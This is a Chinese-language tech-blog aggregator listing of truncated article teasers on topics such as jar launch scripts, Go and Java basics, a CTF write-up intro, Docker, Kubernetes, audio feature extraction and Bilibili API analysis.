linux一次启动多个jar包并且可以自定义路径和端口号 代码使用 分享公司大神使用的一个脚步,可以一次启动多个jar包,也可以指定启动jar包 代码 #! /bin/sh # 端口号 PORTS(8080 8081 8082 8083) # 模块 MODULES(gateway auth system file) # 模块名称 MODULE_NAMES(网关服务 认…...
自然语言交互:NAS进化的下一站革命
自然语言交互:NAS进化的下一站革命 在数据爆炸式增长的数字时代,网络附加存储设备(NAS)早已突破企业级应用的边界,成为个人数字资产管理的核心枢纽。当全球NAS市场年复合增长率稳定在15%之际,耘想科技推出…...
go中我遇到的问题总结
go问题总结 1 - go中的nil等于java中的null吗 在 Go 和 Java 中,nil 和 null 都用于表示“空值”,但它们的实现和使用方式有所不同。 以下是 Go 中的 nil 和 Java 中的 null 之间的对比: 1. Go 中的 nil 在 Go 中,nil 是一个预定义的常量,表示零值。它的行为根据数据类…...
java面试题带答案2025最新整理
文章目录 一、java面试题集合框架1. 请简要介绍 Java 集合框架的体系结构2. ArrayList 和 LinkedList 的区别是什么3. HashMap 的工作原理是什么,它在 JDK 7 和 JDK 8 中有哪些不同4. 如何解决 HashMap 的线程安全问题5. TreeSet 是如何保证元素有序的 二、java面试…...
第七届浙江省大学生网络与信息安全竞赛决赛Unserialize深度解析 1.0
花还会重新开,不同的春来了又来。 - 2025.4.11 0x01 声明 仅作为个人学习使用,仅供参考,欢迎交流 可能是新生赛缘故,突发奇想,想好好梳理此题,顺便写成参考,于是有了这篇文章 当然很多理解可…...
onlyoffice 在线编辑集成
onlyoffice 在线编辑集成 项目中要使用word在线编辑功能,记录一下过程 安装使用docker版本 docker run -itd -p 8001:80 --name kodoffice --restart always registry.cn-hangzhou.aliyuncs.com/kodcloud/kodoffice:7.4.1.1 启动后http://192.168.x.x:8001/web/…...
2.4goweb 项目1
mysql库和表 CREATE DATABASE IF NOT EXISTS book_manager CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;USE book_manager;-- 用户表(用于登录) CREATE TABLE IF NOT EXISTS users (user_id INT AUTO_INCREMENT PRIMARY KEY,username VARCHAR(…...
ESP-ADF外设子系统深度解析:esp_peripherals组件架构与核心设计(系列开篇)
目录 ESP-ADF外设子系统深度解析:esp_peripherals组件架构与核心设计(系列开篇)简介模块概述功能定义架构位置核心特性 接口分析公共API概述1. 外设集合管理API2. 单个外设管理API3. 事件通信API4. 定时器管理API 数据结构关键数据结构分析枚…...
供应链管理:供应链管理的边界
一、追根溯源,什么是真正的财富 序号财富解释1土地作为生产资料,土地是农业、工业、商业的基础 城市中心的土地因稀缺性而价值连城,农业土地的肥沃程度直接影响粮食产量。2资源、矿产提供能源和原材料,支撑工业生产和经济发展。 …...
【Linux网络编程】TCP Echo Server的实现
本文专栏:linux网络编程 本文的基础知识是基于上篇文章:UDP Echo Server的实现 传送门: 【Linux网络编程】UDP Echo Server的实现 -CSDN博客 目录 一,InetAddr类的编写 二,客户端代码编写 创建套接字(s…...
信奥赛CSP-J复赛集训(数学思维专题)(11):P9585 「MXOI Round 2」酒店
信奥赛CSP-J复赛集训(数学思维专题)(11):P9585 「MXOI Round 2」酒店 题目描述 小 C 开了一家酒店,叫做 CC Hotel。 一天,CC Hotel 来了 n n n 位客人。小 C 需要把他们都安排在酒店的某一层…...
python: audioFlux XXCC 提取梅尔频率倒谱系数 MFCC
承上一篇:python:audioFlux 使用教程 XXCC: 倒谱系数,支持所有频谱类型. 可以提取梅尔频率倒谱系数(MFCC) Cepstrum coefficients, supports all spectrum types. 以下是使用 audioflux 库中 XXCC 类计算倒谱系数…...
PHP + Go 如何协同打造高并发微服务?
为什么需要 PHP Go 协同? 在微服务架构中,PHP 和 Go 看似是“两个世界”的语言,但它们的互补性极强: PHP:开发效率高、生态成熟,适合快速实现复杂业务逻辑(如电商订单、用户系统)…...
k8s工具使用
Kubectl Cheat Sheet k8s的命令级别 1.基础命令(初级) 2.基础命令(中级) 3.部署命令 4.集群管理命令 5.故障排查和调试命令 6.高级命令 7.设置命令 8.其它命令 命令行提示 为了使用kubectl命令更加高效,我们可以选择安装一下开源软件来增加操作kubectl命令的快捷方式,同…...
uml制做参考-以代码画UML图
【PlantUML系列】类图(一)_plantuml skin-CSDN博客 UML入门以及Plant UML工具介绍_plantuml-CSDN博客 UML类图详解-CSDN博客 【PlantUML】-类图-CSDN博客 【掌握绘图艺术】用PlantUML绘制完美UML图表,编程开发者的福音 - 知乎 如何优化P…...
深入解析B站androidApp接口:从bilibili.api.ticket.v1.Ticket/GetTicket到SendMsg的技术分析
前言 最近一段时间,我对B站的App接口进行了深入分析,特别是关注了认证机制和私信功能的实现。通过逆向工程和网络抓包,发现了B站移动端API的底层工作原理,包括设备标识生成机制、认证流程和消息传输协议。本文将分享这些研究成果…...